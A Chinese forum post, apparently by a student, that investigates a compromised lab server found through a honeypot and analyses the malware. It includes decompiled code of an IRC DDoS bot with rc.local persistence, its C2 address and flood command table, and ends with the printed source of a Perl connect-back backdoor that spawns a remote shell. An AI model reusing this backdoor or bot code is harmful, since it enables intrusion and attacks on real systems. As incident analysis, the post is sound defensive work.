-
UID:17777
-
- 注册时间2007-05-02
- 最后登录2025-05-02
- 在线时间18636小时
-
- 发帖786303
- 搜Ta的帖子
- 精华0
- 飞翔币211574
- 威望215717
- 飞扬币2615136
- 信誉值8
-
访问TA的空间加好友用道具
- 发帖
- 786303
- 飞翔币
- 211574
- 威望
- 215717
- 飞扬币
- 2615136
- 信誉值
- 8
|
0 前言学生一枚,马上毕业,空闲时间在校园网内部的 服务器上部署了一些蜜罐,发现很多好玩的东西,先记录一篇。 1 蜜罐报警日常打开蜜罐页面,看到蜜罐有数条报警信息,ip比较熟悉,来自实验室的服务器集群,也不用收集蜜罐字典去反向爆破了。 2 服务器病毒排查用自己的账号登进去看,除了有点卡之外,再没什么异常了。top的cpu占用率有点高,也有点卡 2.1 查目录根据近几个月与这波人对抗的 经验,查看了几个特殊目录下(/opt,/etc,/tmp,~,)的文件,发现也没有这拨人常用的那些工具与文件(这些以后单独放一个帖子讲,如果大家想看,hhh)。这里不截图了 2.2 查日志翻看/var 下的日志,linux下应该主要关注的以下几个日志 /var/log/syslog /var/log/messages /var/log/httpd/access_log /var/log/httpd/error_log /var/log/secure /var/log/auth.log /var/log/user.log /var/log/wtmp /var/log/lastlog /var/log/btmp /var/run/utmp
机器中的日志,全部被覆盖写入,被清除。这点是我没想到的,因为根据这拨人以往的行为是没有这个动作的,后来也就想明白了,是在反溯源。上新手段了,联想到top命令占用的cpu比较多,想到一点,bash命令替换。 2.3 查网络连接这里 推荐几个我常用的命令 netstat -atnp 查看网络连接 ss -t -a -pl 也是查看网络连接的
这两个命令发现有个跟外网通信的连接,没有进程id和进程名  这个ip,上威胁情报查了一下,报毒  由此断定,这个状态为established的连接有问题,隐藏了进程id和进程名。至于隐藏的方法,结合上面的top命令,不难猜到是用了bash命令替换。 2.4 查bash命令以netstat命令为例,通过whereis 找到netstat的目录,然后使用stat查看,发现修改时间似乎有点不太对,近期修改  其他的ls,ps等,也是近期修改,怀疑度++。 2.5 验证猜测使用busybox中的命令,与 系统中的命令结果对比,来验证我们的猜想。busybox可以通过docker直接安装 sudo docker run --rm -itv /tmp/:/tmp busybox:uclibc
我们再次使用./busybox netstat和netstat来看一下结果,如下图  可以看到,busybox中的命令显示出了进程id和程序,证明了猜测。 3 病毒详情根据查到的进程id,使用./busybox lsof 查看该进程的详细信息  根据访问这个目录,查看目录详情,这里我们同样看一下系统中的命令与busybox的命令显示区别。 3.1 病毒文件分析在这里挑几个这次攻击特有的行为进行分析,test文件夹中的信息以前见过,暂不分析。 3.1.1 systemd这是一个elf64位文件,经过了upx加壳,我们可以直接使用upx -d 进行脱壳。随后进入主函数大致看一下功能 复制代码 隐藏代码int __cdecl __ noreturn main(int argc, const char **argv, const char **envp){ ... v17 = argv; v36 = "/etc/rc.local"; v35 = fopen64( "/etc/rc.local", "r", envp); // 获取本服务器的dns地址 if ( !v35 ) { v36 = "/etc/rc.local"; v35 = fopen64( "/etc/rc.local", "r", v3); } if ( v35 ) // 获取文件目录 { v34 = strlen(*argv); v33 = 0; getcwd(&buf); if ( ( unsigned int) strcmp(&buf, "/") ) { while ( (*argv)[v34] != 47 ) --v34; v4 = &(*argv)[v34]; v5 = ""%s%s"n"; sprintf(( unsigned __int64)&v20); while ( !( unsigned int)feof_unlocked(v35, v5) ) { fgets_unlocked(v21, 1024LL, v35); v5 = &v20; if ( !( unsigned int)strcasecmp(v21, &v20) ) ++v33; } if ( v33 ) { fclose(v35); } else { fclose(v35); v26 = fopen64(v36, "a", v6); if ( v26 ) { fputs_unlocked(&v20, v26); fclose(v26); } } } else { fclose(v35); } } //这里原来有一个fork反调试,我直接nop了 v7 = strlen(*v17); v8 = "systemd"; strncpy(*v17, "systemd", v7); // 文件名必须是systemd for ( i = 1; i < argc; ++i ) { v9 = strlen(v17 ); v8 = 0LL; memset(v17, 0LL, v9); } v10 = time(0LL); v11 = v10 ^ (unsigned __int64)getpid(0LL, v8); v12 = v11 + (unsigned int)getppid(); srand(v12); nick = makestring(); // 在/usr/share/dict/american-english中随机选择一些名字 ident = makestring(); user = makestring(); chan = (__int64)"#root"; key = (__int64)"null"; server = 0LL; while ( 1 ) {LABEL_21: con(v12, (__int16 *)v8); // 连接c2服务器 Send(sock, (__int64)"NICK %snUSER %s localhost localhost :%sn", nick, ident, user, v13, v17);// socket连接 while ( 1 ) { v30 = v18; for ( j = 16; j; --j ) { v14 = v30; ++v30; *v14 = 0LL; } v18[(unsigned __int64)sock >> 6] |= 1LL << (sock & 0x3F); v22 = 1200LL; v23 = 0LL; v12 = (unsigned int)(sock + 1); v8 = (char *)v18; if ( (signed int)select(v12, v18, 0LL, 0LL, &v22) <= 0 ) break; for ( k = 0LL; k < numpids; ++k ) { if ( (signed int)waitpid(*(unsigned int *)(4 * k + pids), 0LL, 1LL) > 0 ) { for ( l = k + 1; l < (unsigned __int64)numpids; ++l ) *(_DWORD *)(4LL * (l - 1) + pids) = *(_DWORD *)(4LL * l + pids); *(_DWORD *)(4LL * (l - 1) + pids) = 0; v25 = malloc(4 * (--numpids + 1)); for ( l = 0; l < (unsigned __int64)numpids; ++l ) *(_DWORD *)(4LL * l + v25) = *(_DWORD *)(4LL * l + pids); free(pids); pids = v25; } } if ( ((unsigned __int64)v18[(unsigned __int64)sock >> 6] >> (sock & 0x3F)) & 1 )// 这一部分是向c2服务器发送相关的信息,同时可以接受c2的指令 { v8 = v21; v12 = (unsigned int)sock; n = recv((unsigned int)sock, v21, 4096LL, 0LL); if ( n <= 0 ) goto LABEL_21; v21[n] = 0; for ( m = (_BYTE *)strtok(v21, "n"); m && *m; m = (_BYTE *)strtok(0LL, "n") ) { filter(m); if ( *m == 58 ) { for ( n = 0; ; ++n ) { v15 = n; if ( v15 >= strlen(m) || m[n] == 32 ) break; } m[n] = 0; strcpy(&v20, m + 1); strcpy(m, &m[n + 1]); } else { *(_WORD *)&v20 = 42; } for ( n = 0; ; ++n ) { v16 = n; if ( v16 >= strlen(m) || m[n] == 32 ) break; } m[n] = 0; strcpy(&v19, m); strcpy(m, &m[n + 1]); for ( n = 0; (&msgs)[2 * n]; ++n ) { if ( !(unsigned int)strcasecmp((&msgs)[2 * n], &v19) ) ((void (__fastcall *)(_QWORD, char *, _BYTE *))*(&off_6141E8 + 2 * n))((unsigned int)sock, &v20, m); } v8 = "ERROR"; v12 = (__int64)&v19; if ( !(unsigned int)strcasecmp(&v19, "ERROR") ) goto LABEL_21; } } } }} con函数是连接c2的函数,c2的地址不是明文存储的,程序运行时随机在几个字符串中解密,解密得到的内容,根据随机选择的字符串不同,得到的域名或者ip,下面是加密字符串。 复制代码 隐藏代码.data:0000000000614060 servers dq offset aVcuvcyZVoqVcy7.data:0000000000614060 ; DATA XREF: con+59↑r.data:0000000000614060 ; "<vCuvCy<z*?voq$$vCy?73".data:0000000000614068 dq offset aWymBymZymz ; ";wym_Bym;ZymZ,".data:0000000000614070 dq offset aVa7yefzyS ; "vA7yEFzy<s" 下面是解密得到的域名

ip就是之前的45.137.149.196 在解密之后,与c2服务器建立socket连接,下面是con函数的全部内容 复制代码 隐藏代码__int64 __fastcall con(__int64 a1, __int16 *a2){ ... while ( 1 ) {LABEL_1: sock = -1; v2 = time(0LL); v3 = v2 ^ (unsigned __int64)getpid(0LL, a2); v4 = v3 + (unsigned int)getppid(); srand(v4); if ( !changeservers ) server = (__int64)servers[(signed int)rand(v4, a2) % numservers]; decode(server, 0LL); v11 = &decodedsrv; changeservers = 0; do { a2 = (__int16 *)1; sock = socket(2LL, 1LL, 6LL); } while ( sock < 0 ); if ( (unsigned int)inet_addr(v11) && (unsigned int)inet_addr(v11) != -1 ) break; v10 = gethostbyname(v11); if ( v10 ) { bcopy(**(_QWORD **)(v10 + 24), &v8, *(signed int *)(v10 + 20)); goto LABEL_11; } v11 = 0LL; close((unsigned int)sock, 1LL); } v8 = inet_addr(v11);LABEL_11: v6 = 2; v7 = htons(1LL); a2 = (__int16 *)21537; ioctl(sock); v9 = time(0LL); while ( 1 ) { if ( (unsigned __int64)(time(0LL) - v9) > 9 ) {LABEL_19: v11 = 0LL; close((unsigned int)sock, a2); goto LABEL_1; } *(_DWORD *)_errno_location() = 0; a2 = &v6; if ( !(unsigned int)connect((unsigned int)sock, &v6, 16LL) || *(_DWORD *)_errno_location() == 106 ) break; if ( *(_DWORD *)_errno_location() != 115 && *(_DWORD *)_errno_location() != 114 ) goto LABEL_19; sleep(1LL); } setsockopt((unsigned int)sock, 1LL, 13LL, 0LL, 0LL); setsockopt((unsigned int)sock, 1LL, 2LL, 0LL, 0LL); return setsockopt((unsigned int)sock, 1LL, 9LL, 0LL, 0LL);} 上面说到了服务器与主机之间相互通信,下面一些信号对应不同函数和不同功能,不再展开说了。 复制代码 隐藏代码.data:0000000000614080 flooders dq offset aPan ; "PAN".data:0000000000614088 off_614088 dq offset pan.data:0000000000614090 dq offset aUdp ; "UDP".data:0000000000614098 dq offset udp.data:00000000006140A0 dq offset aUnknown ; "UNKNOWN".data:00000000006140A8 dq offset unknown.data:00000000006140B0 dq offset aRandomflood ; "RANDOMFLOOD".data:00000000006140B8 dq offset randomflood.data:00000000006140C0 dq offset aNsackflood ; "NSACKFLOOD".data:00000000006140C8 dq offset nsackflood.data:00000000006140D0 dq offset aNssynflood ; "NSSYNFLOOD".data:00000000006140D8 dq offset nssynflood.data:00000000006140E0 dq offset aAckflood ; "ACKFLOOD".data:00000000006140E8 dq offset ackflood.data:00000000006140F0 dq offset aSynflood ; "SYNFLOOD".data:00000000006140F8 dq offset synflood.data:0000000000614100 dq offset aNick ; "NICK".data:0000000000614108 dq offset nickc.data:0000000000614110 dq offset aKekserver ; "KEKSERVER".data:0000000000614118 dq offset move.data:0000000000614120 dq offset aGetspoofs ; "GETSPOOFS".data:0000000000614128 dq offset getspoofs.data:0000000000614130 dq offset aSpoofs ; "SPOOFS".data:0000000000614138 dq offset spoof.data:0000000000614140 dq offset aHackpkg ; "HACKPKG".data:0000000000614148 dq offset hackpkg.data:0000000000614150 dq offset aDisable ; "DISABLE".data:0000000000614158 dq offset disable.data:0000000000614160 dq offset aEnable ; "ENABLE".data:0000000000614168 dq offset enable.data:0000000000614170 dq offset aUpdate ; "UPDATE".data:0000000000614178 dq offset update.data:0000000000614180 dq offset aFuckit ; "FUCKIT".data:0000000000614188 dq offset killd.data:0000000000614190 dq offset aGet ; "GET".data:0000000000614198 dq offset get.data:00000000006141A0 dq offset aVersion ; "VERSION".data:00000000006141A8 dq offset version.data:00000000006141B0 dq offset aKillall ; "KILLALL".data:00000000006141B8 dq offset killall.data:00000000006141C0 dq offset aHelp ; "HELP".data:00000000006141C8 dq offset helpdata:00000000006141E0 msgs dq offset a352 ; "352".data:00000000006141E8 off_6141E8 dq offset _352.data:00000000006141F0 dq offset a376 ; "376".data:00000000006141F8 dq offset _376.data:0000000000614200 dq offset a433 ; "433".data:0000000000614208 dq offset _433.data:0000000000614210 dq offset a422 ; "422".data:0000000000614218 dq offset _376.data:0000000000614220 dq offset aPrivmsg ; "PRIVMSG".data:0000000000614228 dq offset _PRIVMSG.data:0000000000614230 dq offset aPing ; "PING".data:0000000000614238 dq offset _PING.data:0000000000614240 dq offset aNick ; "NICK".data:0000000000614248 dq offset _NICK.data:0000000000614250 align 20h
3.1.2 dc.pl
复制代码 隐藏代码#!/usr/bin/perl use Socket; print "Data Cha0s Connect Back Backdoornn"; if (!$ARGV[0]) { printf "Usage: $0 [Host] <Port>n"; exit(1); } print " Dumping Argumentsn"; $host = $ARGV[0]; $port = 80; if ($ARGV[1]) { $port = $ARGV[1]; } print " Connecting...n"; $proto = getprotobyname('tcp') || die("Unknown Protocoln"); socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Errorn"); my $target = inet_aton($host); if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) { die("Unable to Connectn"); } print " Spawning Shelln"; if (!fork( )) { open(STDIN,">&SERVER"); open(STDOUT,">&SERVER"); open(STDERR,">&SERVER"); exec {'/bin/sh'} '-bash' . " |